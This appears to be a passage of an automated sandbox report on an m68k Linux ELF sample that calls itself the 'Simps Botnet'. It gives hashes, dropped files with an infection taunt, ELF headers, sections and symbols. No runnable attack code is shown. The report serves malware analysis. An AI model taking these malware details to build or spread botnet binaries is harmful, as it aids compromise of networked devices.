MD5:	68CEF17158AB7C78815F4829CA182DF0
SHA1:	1964BD86E351AE38341975A5A35C2A606093220E
SHA-256:	8CB5D165724D5990B6C6161D24AD22E55328C2CF72E46B58104EFE0CC07E82E3
SHA-512:	C39117FAEEB6103E531FDBDD517BB259A1E21E2C0F67B203D8AA8787F5D11F3CC090BCE9E951146C7CB163E1F36F15C3AEAF82CCE953DF715CD59BE7846206FA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	Thank You For Your Services...This Device Has successfully Been Infected..With Malware By Simps Botnet ;)..\| instagram: @ur0a_ \| Discord: UR0A#2199..

/tmp/qemu-open.sFE9rB (deleted)

Download File

Process:	/tmp/m68k.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	230
Entropy (8bit):	3.709552666863289
Encrypted:	false
SSDEEP:	6:iekrEcvwAsE5KlwSd4pzKaV6Lpms/a/1VCxGF:ur+m5MwSdIKaV6L1adVRF
MD5:	2E667F43AE18CD1FE3C108641708A82C
SHA1:	12B90DE2DA0FBCFE66F3D6130905E56C8D6A68D3
SHA-256:	6F721492E7A337C5B498A8F55F5EB7AC745AFF716D0B5B08EFF2C1B6B250F983
SHA-512:	D2A0EE2509154EC1098994F38BE172F98F4150399C534A04D5C675D7C05630802225019F19344CC9070C576BC465A4FEB382AC7712DE6BF25E9244B54A9DB830
Malicious:	false
Reputation:	high, very likely benign file
Preview:	Iface.Destination.Gateway .Flags.RefCnt.Use.Metric.Mask..MTU.Window.IRTT .ens160.00000000.c0a80201.0003.0.0.0.00000000.0.0.0.ens160.c0a80200.00000000.0001.0.0.0.ffffff00.0.0.0.

Static File Info

General

File type:	ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, with debug_info, not stripped
Entropy (8bit):	6.222235960627992
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	m68k.elf
File size:	202'653 bytes
MD5:	e4a1b59b4400ac2ae5dd53bdfeca4dfc
SHA1:	fce16c5730a7e1ba11a8d7a17b3059eb2fb42a76
SHA256:	e92e4048a4ec73288363008c0b43005289add1120d4615863b8ec828dc1e3f57
SHA512:	b305afeedcaf1a285bca8447902fa7ad1682df95b82b680f926084a514f30c45fcd876dca73358a484e4d0eaa517bfb93227e9ddbc89f955fefdbd00b2d34160
SSDEEP:	3072:hXAVWuItZUJC/7hmpOu8pyFfpsk7FdoiSl9AwM0tbmDWUSflVaslM:GVTk/7hoONyFuGoiSlHbmDWUSflVaslM
TLSH:	A5146C82BF04DFABF10B977A04E30725B374FB914F925A22671678A7A8331C16D27E45
File Content Preview:	.ELF.......................D...4...@.....4. ...(.......................l...l...... ........l...l...l......kL...... .dt.Q............................NV..a....da....@N^NuNV..J9....f>"y.... QJ.g.X.#.....N."y.... QJ.f.A.....J.g.Hy...hN.X.........N^NuNV..N^NuN

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MC68000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x80000144
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	176960
Section Header Size:	40
Number of Section Headers:	23
Header String Table Index:	20

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.init	PROGBITS	0x80000094	0x94	0x14	0x0	0x6	AX	0	0	2
.text	PROGBITS	0x800000a8	0xa8	0x1856c	0x0	0x6	AX	0	0	4
.fini	PROGBITS	0x80018614	0x18614	0xe	0x0	0x6	AX	0	0	2
.rodata	PROGBITS	0x80018622	0x18622	0x3646	0x0	0x2	A	0	0	2
.eh_frame	PROGBITS	0x8001bc68	0x1bc68	0x4	0x0	0x2	A	0	0	4
.ctors	PROGBITS	0x8001dc6c	0x1bc6c	0x8	0x0	0x3	WA	0	0	4
.dtors	PROGBITS	0x8001dc74	0x1bc74	0x8	0x0	0x3	WA	0	0	4
.jcr	PROGBITS	0x8001dc7c	0x1bc7c	0x4	0x0	0x3	WA	0	0	4
.data	PROGBITS	0x8001dc80	0x1bc80	0x39c	0x0	0x3	WA	0	0	4
.bss	NOBITS	0x8001e01c	0x1c01c	0x679c	0x0	0x3	WA	0	0	4
.comment	PROGBITS	0x0	0x1c01c	0xda4	0x0	0x0		0	0	1
.debug_aranges	PROGBITS	0x0	0x1cdc0	0x180	0x0	0x0		0	0	1
.debug_pubnames	PROGBITS	0x0	0x1cf40	0xa0d	0x0	0x0		0	0	1
.debug_info	PROGBITS	0x0	0x1d94d	0x876d	0x0	0x0		0	0	1
.debug_abbrev	PROGBITS	0x0	0x260ba	0x1128	0x0	0x0		0	0	1
.debug_line	PROGBITS	0x0	0x271e2	0x1fc8	0x0	0x0		0	0	1
.debug_frame	PROGBITS	0x0	0x291ac	0x1368	0x0	0x0		0	0	4
.debug_str	PROGBITS	0x0	0x2a514	0x17b	0x0	0x0		0	0	1
.debug_loc	PROGBITS	0x0	0x2a68f	0xbe0	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x2b26f	0xce	0x0	0x0		0	0	1
.symtab	SYMTAB	0x0	0x2b6d8	0x3660	0x10	0x0		22	349	4
.strtab	STRTAB	0x0	0x2ed38	0x2a65	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x80000000	0x80000000	0x1bc6c	0x1bc6c	6.1764	0x5	R E	0x2000	.init .text .fini .rodata .eh_frame
LOAD	0x1bc6c	0x8001dc6c	0x8001dc6c	0x3b0	0x6b4c	3.0030	0x6	RW	0x2000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Symbols

Name	Section Name	Value	Size	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
	.symtab	0x80000094	0	SECTION	<unknown>	DEFAULT	1
	.symtab	0x800000a8	0	SECTION	<unknown>	DEFAULT	2
	.symtab	0x80018614	0	SECTION	<unknown>	DEFAULT	3
	.symtab	0x80018622	0	SECTION	<unknown>	DEFAULT	4
	.symtab	0x8001bc68	0	SECTION	<unknown>	DEFAULT	5
	.symtab	0x8001dc6c	0	SECTION	<unknown>	DEFAULT	6
	.symtab	0x8001dc74	0	SECTION	<unknown>	DEFAULT	7
	.symtab	0x8001dc7c	0	SECTION	<unknown>	DEFAULT	8
	.symtab	0x8001dc80	0	SECTION	<unknown>	DEFAULT	9
	.symtab	0x8001e01c	0	SECTION	<unknown>	DEFAULT	10
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	11
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	12
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	13
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	14
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	15
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	16
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	17
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	18
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	19
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	20
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	21
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	22
LOCAL_ADDR	.symtab	0x800243a4	4	OBJECT	<unknown>	DEFAULT	10
Q	.symtab	0x8001e10e	16384	OBJECT	<unknown>	DEFAULT	10
Simpsicsock	.symtab	0x8001e0e8	4	OBJECT	<unknown>	DEFAULT	10
Simpsserv	.symtab	0x8001dc8c	4	OBJECT	<unknown>	DEFAULT	9
_Jv_RegisterClasses	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
_READ.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_WRITE.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__CTOR_END__	.symtab	0x8001dc70	0	OBJECT	<unknown>	DEFAULT	6
__CTOR_LIST__	.symtab	0x8001dc6c	0	OBJECT	<unknown>	DEFAULT	6
__C_ctype_b	.symtab	0x8001dcbc	4	OBJECT	<unknown>	DEFAULT	9
__C_ctype_b.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_b_data	.symtab	0x8001a5c4	768	OBJECT	<unknown>	DEFAULT	4
__C_ctype_tolower	.symtab	0x8001dfe0	4	OBJECT	<unknown>	DEFAULT	9
__C_ctype_tolower.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_tolower_data	.symtab	0x8001b816	768	OBJECT	<unknown>	DEFAULT	4
__C_ctype_toupper	.symtab	0x8001dcc4	4	OBJECT	<unknown>	DEFAULT	9
__C_ctype_toupper.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_toupper_data	.symtab	0x8001a8c4	768	OBJECT	<unknown>	DEFAULT	4
__DTOR_END__	.symtab	0x8001dc78	0	OBJECT	<unknown>	DEFAULT	7
__DTOR_LIST__	.symtab	0x8001dc74	0	OBJECT	<unknown>	DEFAULT	7
__EH_FRAME_BEGIN__	.symtab	0x8001bc68	0	OBJECT	<unknown>	DEFAULT	5
__FRAME_END__	.symtab	0x8001bc68	0	OBJECT	<unknown>	DEFAULT	5
__GI___C_ctype_b	.symtab	0x8001dcbc	4	OBJECT	<unknown>	HIDDEN	9
__GI___C_ctype_b_data	.symtab	0x8001a5c4	768	OBJECT	<unknown>	HIDDEN	4
__GI___C_ctype_tolower	.symtab	0x8001dfe0	4	OBJECT	<unknown>	HIDDEN	9
__GI___C_ctype_tolower_data	.symtab	0x8001b816	768	OBJECT	<unknown>	HIDDEN	4
__GI___C_ctype_toupper	.symtab	0x8001dcc4	4	OBJECT	<unknown>	HIDDEN	9
__GI___C_ctype_toupper_data	.symtab	0x8001a8c4	768	OBJECT	<unknown>	HIDDEN	4
__GI___ctype_b	.symtab	0x8001dcc0	4	OBJECT	<unknown>	HIDDEN	9
__GI___ctype_tolower	.symtab	0x8001dfe4	4	OBJECT	<unknown>	HIDDEN	9
__GI___ctype_toupper	.symtab	0x8001dcc8	4	OBJECT	<unknown>	HIDDEN	9
__GI___errno_location	.symtab	0x8000cddc	16	FUNC	<unknown>	HIDDEN	2
__GI___fgetc_unlocked	.symtab	0x80017ed4	500	FUNC	<unknown>	HIDDEN	2
__GI___fputc_unlocked	.symtab	0x8000f0dc	392	FUNC	<unknown>	HIDDEN	2
__GI___glibc_strerror_r	.symtab	0x80010630	36	FUNC	<unknown>	HIDDEN	2
__GI___h_errno_location	.symtab	0x80013974	16	FUNC	<unknown>	HIDDEN	2
__GI___libc_fcntl	.symtab	0x8000c378	188	FUNC	<unknown>	HIDDEN	2
__GI___libc_fcntl64	.symtab	0x8000c48c	54	FUNC	<unknown>	HIDDEN	2
__GI___libc_open	.symtab	0x8000c77e	80	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_fini	.symtab	0x80012ac4	106	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_init	.symtab	0x80012be0	74	FUNC	<unknown>	HIDDEN	2
__GI___xpg_strerror_r	.symtab	0x80010654	264	FUNC	<unknown>	HIDDEN	2
__GI__exit	.symtab	0x8000c4fc	16	FUNC	<unknown>	HIDDEN	2
__GI_abort	.symtab	0x80016038	390	FUNC	<unknown>	HIDDEN	2
__GI_atoi	.symtab	0x80012514	28	FUNC	<unknown>	HIDDEN	2
__GI_atol	.symtab	0x80012514	28	FUNC	<unknown>	HIDDEN	2
__GI_bind	.symtab	0x80010e90	48	FUNC	<unknown>	HIDDEN	2
__GI_brk	.symtab	0x800161ec	64	FUNC	<unknown>	HIDDEN	2
__GI_chdir	.symtab	0x8000c54a	16	FUNC	<unknown>	HIDDEN	2
__GI_close	.symtab	0x8000c55c	60	FUNC	<unknown>	HIDDEN	2
__GI_closedir	.symtab	0x8000ca90	198	FUNC	<unknown>	HIDDEN	2
__GI_connect	.symtab	0x80010ec0	48	FUNC	<unknown>	HIDDEN	2
__GI_errno	.symtab	0x80024378	4	OBJECT	<unknown>	HIDDEN	10
__GI_exit	.symtab	0x80012788	124	FUNC	<unknown>	HIDDEN	2
__GI_fclose	.symtab	0x8000ce38	416	FUNC	<unknown>	HIDDEN	2
__GI_fcntl	.symtab	0x8000c378	188	FUNC	<unknown>	HIDDEN	2
__GI_fcntl64	.symtab	0x8000c48c	54	FUNC	<unknown>	HIDDEN	2
__GI_fflush_unlocked	.symtab	0x8000eede	510	FUNC	<unknown>	HIDDEN	2
__GI_fgetc_unlocked	.symtab	0x80017ed4	500	FUNC	<unknown>	HIDDEN	2
__GI_fgets	.symtab	0x80016630	134	FUNC	<unknown>	HIDDEN	2
__GI_fgets_unlocked	.symtab	0x800166b8	226	FUNC	<unknown>	HIDDEN	2
__GI_fopen	.symtab	0x8000cfd8	38	FUNC	<unknown>	HIDDEN	2
__GI_fork	.symtab	0x8000c598	56	FUNC	<unknown>	HIDDEN	2
__GI_fputs_unlocked	.symtab	0x8000f264	80	FUNC	<unknown>	HIDDEN	2
__GI_fseek	.symtab	0x800162e4	40	FUNC	<unknown>	HIDDEN	2
__GI_fseeko64	.symtab	0x8001630c	346	FUNC	<unknown>	HIDDEN	2
__GI_fstat	.symtab	0x80012f0a	54	FUNC	<unknown>	HIDDEN	2
__GI_fwrite	.symtab	0x8000ed20	134	FUNC	<unknown>	HIDDEN	2
__GI_fwrite_unlocked	.symtab	0x8000f2b4	162	FUNC	<unknown>	HIDDEN	2
__GI_getc_unlocked	.symtab	0x80017ed4	500	FUNC	<unknown>	HIDDEN	2
__GI_getegid	.symtab	0x800132d4	60	FUNC	<unknown>	HIDDEN	2
__GI_geteuid	.symtab	0x80013310	60	FUNC	<unknown>	HIDDEN	2
__GI_getgid	.symtab	0x8001334c	60	FUNC	<unknown>	HIDDEN	2
__GI_gethostbyname	.symtab	0x800109c8	60	FUNC	<unknown>	HIDDEN	2
__GI_gethostbyname_r	.symtab	0x80010a04	1164	FUNC	<unknown>	HIDDEN	2
__GI_getpid	.symtab	0x8000c5d0	56	FUNC	<unknown>	HIDDEN	2
__GI_getsockname	.symtab	0x80010ef0	50	FUNC	<unknown>	HIDDEN	2
__GI_getuid	.symtab	0x80013388	60	FUNC	<unknown>	HIDDEN	2
__GI_h_errno	.symtab	0x8002437c	4	OBJECT	<unknown>	HIDDEN	10
__GI_inet_addr	.symtab	0x80010998	48	FUNC	<unknown>	HIDDEN	2
__GI_inet_aton	.symtab	0x800151b8	362	FUNC	<unknown>	HIDDEN	2
__GI_inet_ntop	.symtab	0x80017326	112	FUNC	<unknown>	HIDDEN	2
__GI_inet_pton	.symtab	0x80016e34	96	FUNC	<unknown>	HIDDEN	2
__GI_initstate_r	.symtab	0x800123ca	330	FUNC	<unknown>	HIDDEN	2
__GI_ioctl	.symtab	0x8000c640	130	FUNC	<unknown>	HIDDEN	2
__GI_isatty	.symtab	0x80010868	52	FUNC	<unknown>	HIDDEN	2
__GI_kill	.symtab	0x8000c70c	20	FUNC	<unknown>	HIDDEN	2
__GI_listen	.symtab	0x80010f68	42	FUNC	<unknown>	HIDDEN	2
__GI_lseek64	.symtab	0x80013426	108	FUNC	<unknown>	HIDDEN	2
__GI_memchr	.symtab	0x80014c94	348	FUNC	<unknown>	HIDDEN	2
__GI_memcpy	.symtab	0x8000f782	240	FUNC	<unknown>	HIDDEN	2
__GI_memmove	.symtab	0x8000fd34	288	FUNC	<unknown>	HIDDEN	2
__GI_mempcpy	.symtab	0x80014df0	42	FUNC	<unknown>	HIDDEN	2
__GI_memrchr	.symtab	0x80014e1c	358	FUNC	<unknown>	HIDDEN	2
__GI_memset	.symtab	0x8000fe54	310	FUNC	<unknown>	HIDDEN	2
__GI_nanosleep	.symtab	0x80013494	78	FUNC	<unknown>	HIDDEN	2
__GI_open	.symtab	0x8000c77e	80	FUNC	<unknown>	HIDDEN	2
__GI_opendir	.symtab	0x8000cb58	350	FUNC	<unknown>	HIDDEN	2
__GI_poll	.symtab	0x8001628c	88	FUNC	<unknown>	HIDDEN	2
__GI_putc_unlocked	.symtab	0x8000f0dc	392	FUNC	<unknown>	HIDDEN	2
__GI_raise	.symtab	0x80017eb8	28	FUNC	<unknown>	HIDDEN	2
__GI_random	.symtab	0x80011de4	94	FUNC	<unknown>	HIDDEN	2
__GI_random_r	.symtab	0x8001211a	266	FUNC	<unknown>	HIDDEN	2
__GI_rawmemchr	.symtab	0x8001679c	274	FUNC	<unknown>	HIDDEN	2
__GI_read	.symtab	0x8000c7ec	84	FUNC	<unknown>	HIDDEN	2
__GI_readdir	.symtab	0x8000ccb8	292	FUNC	<unknown>	HIDDEN	2
__GI_readlink	.symtab	0x8000c840	84	FUNC	<unknown>	HIDDEN	2
__GI_recv	.symtab	0x80010f94	56	FUNC	<unknown>	HIDDEN	2
__GI_recvfrom	.symtab	0x80010fcc	72	FUNC	<unknown>	HIDDEN	2
__GI_sbrk	.symtab	0x800134e4	106	FUNC	<unknown>	HIDDEN	2
__GI_select	.symtab	0x8000c894	100	FUNC	<unknown>	HIDDEN	2
__GI_send	.symtab	0x80011014	56	FUNC	<unknown>	HIDDEN	2
__GI_sendto	.symtab	0x8001104c	70	FUNC	<unknown>	HIDDEN	2
__GI_setsid	.symtab	0x8000c8f8	56	FUNC	<unknown>	HIDDEN	2
__GI_setsockopt	.symtab	0x80011094	64	FUNC	<unknown>	HIDDEN	2
__GI_setstate_r	.symtab	0x80011f84	406	FUNC	<unknown>	HIDDEN	2
__GI_sigaction	.symtab	0x80015f50	232	FUNC	<unknown>	HIDDEN	2
__GI_signal	.symtab	0x80011108	238	FUNC	<unknown>	HIDDEN	2
__GI_sigprocmask	.symtab	0x80013550	160	FUNC	<unknown>	HIDDEN	2
__GI_sleep	.symtab	0x80012804	558	FUNC	<unknown>	HIDDEN	2
__GI_socket	.symtab	0x800110d4	50	FUNC	<unknown>	HIDDEN	2
__GI_sprintf	.symtab	0x8000d0ac	52	FUNC	<unknown>	HIDDEN	2
__GI_srandom_r	.symtab	0x80012224	422	FUNC	<unknown>	HIDDEN	2
__GI_strcasecmp	.symtab	0x800180c8	120	FUNC	<unknown>	HIDDEN	2
__GI_strcasestr	.symtab	0x80010798	170	FUNC	<unknown>	HIDDEN	2
__GI_strchr	.symtab	0x8000ff8c	390	FUNC	<unknown>	HIDDEN	2
__GI_strcmp	.symtab	0x80010114	110	FUNC	<unknown>	HIDDEN	2
__GI_strcoll	.symtab	0x80010114	110	FUNC	<unknown>	HIDDEN	2
__GI_strcpy	.symtab	0x80010184	92	FUNC	<unknown>	HIDDEN	2
__GI_strdup	.symtab	0x80016a50	80	FUNC	<unknown>	HIDDEN	2
__GI_strlen	.symtab	0x800101e0	268	FUNC	<unknown>	HIDDEN	2
__GI_strncat	.symtab	0x800168b0	310	FUNC	<unknown>	HIDDEN	2
__GI_strncpy	.symtab	0x80014f84	320	FUNC	<unknown>	HIDDEN	2
__GI_strnlen	.symtab	0x800102ec	350	FUNC	<unknown>	HIDDEN	2
__GI_strpbrk	.symtab	0x80015160	86	FUNC	<unknown>	HIDDEN	2
__GI_strspn	.symtab	0x800169e8	104	FUNC	<unknown>	HIDDEN	2
__GI_strstr	.symtab	0x8001044c	484	FUNC	<unknown>	HIDDEN	2
__GI_strtok	.symtab	0x80010844	36	FUNC	<unknown>	HIDDEN	2
__GI_strtok_r	.symtab	0x800150c4	154	FUNC	<unknown>	HIDDEN	2
__GI_strtol	.symtab	0x80012530	34	FUNC	<unknown>	HIDDEN	2
__GI_tcgetattr	.symtab	0x8001089c	182	FUNC	<unknown>	HIDDEN	2
__GI_time	.symtab	0x8000c930	62	FUNC	<unknown>	HIDDEN	2
__GI_times	.symtab	0x800135f0	62	FUNC	<unknown>	HIDDEN	2
__GI_tolower	.symtab	0x80013934	64	FUNC	<unknown>	HIDDEN	2
__GI_toupper	.symtab	0x8000ca50	64	FUNC	<unknown>	HIDDEN	2
__GI_unlink	.symtab	0x8000c970	62	FUNC	<unknown>	HIDDEN	2
__GI_vsnprintf	.symtab	0x8000d0e0	198	FUNC	<unknown>	HIDDEN	2
__GI_wait4	.symtab	0x8001368a	30	FUNC	<unknown>	HIDDEN	2
__GI_waitpid	.symtab	0x8000c9b0	34	FUNC	<unknown>	HIDDEN	2
__GI_wcrtomb	.symtab	0x80013984	100	FUNC	<unknown>	HIDDEN	2
__GI_wcsnrtombs	.symtab	0x80013a10	206	FUNC	<unknown>	HIDDEN	2
__GI_wcsrtombs	.symtab	0x800139e8	38	FUNC	<unknown>	HIDDEN	2
__GI_write	.symtab	0x8000c9d4	84	FUNC	<unknown>	HIDDEN	2
__JCR_END__	.symtab	0x8001dc7c	0	OBJECT	<unknown>	DEFAULT	8
__JCR_LIST__	.symtab	0x8001dc7c	0	OBJECT	<unknown>	DEFAULT	8
__app_fini	.symtab	0x8002436c	4	OBJECT	<unknown>	HIDDEN	10
__atexit_lock	.symtab	0x8001dfc4	24	OBJECT	<unknown>	DEFAULT	9
__bsd_signal	.symtab	0x80011108	238	FUNC	<unknown>	HIDDEN	2
__bss_start	.symtab	0x8001e01c	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__check_one_fd	.symtab	0x80012b9c	68	FUNC	<unknown>	DEFAULT	2
__check_suid	.symtab	0x80012b40	92	FUNC	<unknown>	DEFAULT	2
__ctype_b	.symtab	0x8001dcc0	4	OBJECT	<unknown>	DEFAULT	9
__ctype_tolower	.symtab	0x8001dfe4	4	OBJECT	<unknown>	DEFAULT	9
__ctype_toupper	.symtab	0x8001dcc8	4	OBJECT	<unknown>	DEFAULT	9
__curbrk	.symtab	0x800243a0	4	OBJECT	<unknown>	DEFAULT	10
__data_start	.symtab	0x8001dc88	0	NOTYPE	<unknown>	DEFAULT	9
__decode_answer	.symtab	0x80017868	460	FUNC	<unknown>	HIDDEN	2
__decode_dotted	.symtab	0x8001824c	340	FUNC	<unknown>	HIDDEN	2
__decode_header	.symtab	0x80017588	480	FUNC	<unknown>	HIDDEN	2
__deregister_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__dns_lookup	.symtab	0x80015324	2224	FUNC	<unknown>	HIDDEN	2
__do_global_ctors_aux	.symtab	0x800185e0	0	FUNC	<unknown>	DEFAULT	2
__do_global_dtors_aux	.symtab	0x800000a8	0	FUNC	<unknown>	DEFAULT	2
__dso_handle	.symtab	0x8001dc80	0	OBJECT	<unknown>	HIDDEN	9
__encode_dotted	.symtab	0x80018140	268	FUNC	<unknown>	HIDDEN	2
__encode_header	.symtab	0x80017398	494	FUNC	<unknown>	HIDDEN	2
__encode_question	.symtab	0x80017768	198	FUNC	<unknown>	HIDDEN	2
__environ	.symtab	0x80024364	4	OBJECT	<unknown>	DEFAULT	10
__errno_location	.symtab	0x8000cddc	16	FUNC	<unknown>	DEFAULT	2
__errno_location.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__exit_cleanup	.symtab	0x8002435c	4	OBJECT	<unknown>	HIDDEN	10
__fgetc_unlocked	.symtab	0x80017ed4	500	FUNC	<unknown>	DEFAULT	2
__fini_array_end	.symtab	0x8001dc6c	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__fini_array_start	.symtab	0x8001dc6c	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__fputc_unlocked	.symtab	0x8000f0dc	392	FUNC	<unknown>	DEFAULT	2
__free_to_heap	.symtab	0x80011620	342	FUNC	<unknown>	DEFAULT	2
__get_hosts_byname_r	.symtab	0x80015f1c	50	FUNC	<unknown>	HIDDEN	2
__getdents	.symtab	0x80012f40	278	FUNC	<unknown>	HIDDEN	2
__getdents64	.symtab	0x800130b0	548	FUNC	<unknown>	HIDDEN	2
__glibc_strerror_r	.symtab	0x80010630	36	FUNC	<unknown>	DEFAULT	2
__glibc_strerror_r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__h_errno_location	.symtab	0x80013974	16	FUNC	<unknown>	DEFAULT	2
__h_errno_location.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__heap_add_free_area	.symtab	0x80011bfe	66	FUNC	<unknown>	DEFAULT	2
__heap_alloc	.symtab	0x800119ca	150	FUNC	<unknown>	DEFAULT	2
__heap_alloc_at	.symtab	0x80011afa	144	FUNC	<unknown>	DEFAULT	2
__heap_delete	.symtab	0x800115c8	88	FUNC	<unknown>	DEFAULT	2
__heap_delete	.symtab	0x80011930	88	FUNC	<unknown>	DEFAULT	2
__heap_delete	.symtab	0x80011a60	88	FUNC	<unknown>	DEFAULT	2
__heap_free	.symtab	0x80011c40	404	FUNC	<unknown>	DEFAULT	2
__heap_free_area_alloc	.symtab	0x80011988	66	FUNC	<unknown>	DEFAULT	2
__heap_free_area_alloc	.symtab	0x80011ab8	66	FUNC	<unknown>	DEFAULT	2
__heap_link_free_area	.symtab	0x80011b8c	70	FUNC	<unknown>	DEFAULT	2
__heap_link_free_area_after	.symtab	0x80011bd2	44	FUNC	<unknown>	DEFAULT	2
__init_array_end	.symtab	0x8001dc6c	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__init_array_start	.symtab	0x8001dc6c	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__length_dotted	.symtab	0x800183a0	114	FUNC	<unknown>	HIDDEN	2
__length_question	.symtab	0x80017830	56	FUNC	<unknown>	HIDDEN	2
__libc_close	.symtab	0x8000c55c	60	FUNC	<unknown>	DEFAULT	2
__libc_connect	.symtab	0x80010ec0	48	FUNC	<unknown>	DEFAULT	2
__libc_creat	.symtab	0x8000c7ce	30	FUNC	<unknown>	DEFAULT	2
__libc_fcntl	.symtab	0x8000c378	188	FUNC	<unknown>	DEFAULT	2
__libc_fcntl64	.symtab	0x8000c48c	54	FUNC	<unknown>	DEFAULT	2
__libc_fork	.symtab	0x8000c598	56	FUNC	<unknown>	DEFAULT	2
__libc_getpid	.symtab	0x8000c5d0	56	FUNC	<unknown>	DEFAULT	2
__libc_lseek64	.symtab	0x80013426	108	FUNC	<unknown>	DEFAULT	2
__libc_nanosleep	.symtab	0x80013494	78	FUNC	<unknown>	DEFAULT	2
__libc_open	.symtab	0x8000c77e	80	FUNC	<unknown>	DEFAULT	2
__libc_poll	.symtab	0x8001628c	88	FUNC	<unknown>	DEFAULT	2
__libc_read	.symtab	0x8000c7ec	84	FUNC	<unknown>	DEFAULT	2
__libc_recv	.symtab	0x80010f94	56	FUNC	<unknown>	DEFAULT	2
__libc_recvfrom	.symtab	0x80010fcc	72	FUNC	<unknown>	DEFAULT	2
__libc_select	.symtab	0x8000c894	100	FUNC	<unknown>	DEFAULT	2
__libc_send	.symtab	0x80011014	56	FUNC	<unknown>	DEFAULT	2
__libc_sendto	.symtab	0x8001104c	70	FUNC	<unknown>	DEFAULT	2
__libc_sigaction	.symtab	0x80015f50	232	FUNC	<unknown>	DEFAULT	2
__libc_stack_end	.symtab	0x80024360	4	OBJECT	<unknown>	DEFAULT	10
__libc_waitpid	.symtab	0x8000c9b0	34	FUNC	<unknown>	DEFAULT	2
__libc_write	.symtab	0x8000c9d4	84	FUNC	<unknown>	DEFAULT	2
__malloc_from_heap	.symtab	0x800112d4	466	FUNC	<unknown>	DEFAULT	2
__malloc_heap	.symtab	0x8001de08	4	OBJECT	<unknown>	DEFAULT	9
__malloc_heap_lock	.symtab	0x80024344	24	OBJECT	<unknown>	DEFAULT	10
__malloc_sbrk_lock	.symtab	0x80024774	24	OBJECT	<unknown>	DEFAULT	10
__nameserver	.symtab	0x8002479c	12	OBJECT	<unknown>	HIDDEN	10
__nameservers	.symtab	0x800247a8	4	OBJECT	<unknown>	HIDDEN	10
__open_etc_hosts	.symtab	0x80017a34	72	FUNC	<unknown>	HIDDEN	2
__open_nameservers	.symtab	0x80015bd4	840	FUNC	<unknown>	HIDDEN	2
__pagesize	.symtab	0x80024368	4	OBJECT	<unknown>	DEFAULT	10
__preinit_array_end	.symtab	0x8001dc6c	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__preinit_array_start	.symtab	0x8001dc6c	0	NOTYPE	<unknown>	HIDDEN	SHN_ABS
__pthread_initialize_minimal	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__pthread_mutex_init	.symtab	0x80012b2e	10	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_lock	.symtab	0x80012b2e	10	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_trylock	.symtab	0x80012b2e	10	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_unlock	.symtab	0x80012b2e	10	FUNC	<unknown>	DEFAULT	2
__pthread_return_0	.symtab	0x80012b2e	10	FUNC	<unknown>	DEFAULT	2
__pthread_return_void	.symtab	0x80012b38	8	FUNC	<unknown>	DEFAULT	2
__raise	.symtab	0x80017eb8	28	FUNC	<unknown>	HIDDEN	2
__read_etc_hosts_r	.symtab	0x80017a7c	1084	FUNC	<unknown>	HIDDEN	2
__register_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__resolv_lock	.symtab	0x8001dfec	24	OBJECT	<unknown>	DEFAULT	9
__rtld_fini	.symtab	0x80024370	4	OBJECT	<unknown>	HIDDEN	10
__searchdomain	.symtab	0x8002478c	16	OBJECT	<unknown>	HIDDEN	10
__searchdomains	.symtab	0x800247ac	4	OBJECT	<unknown>	HIDDEN	10
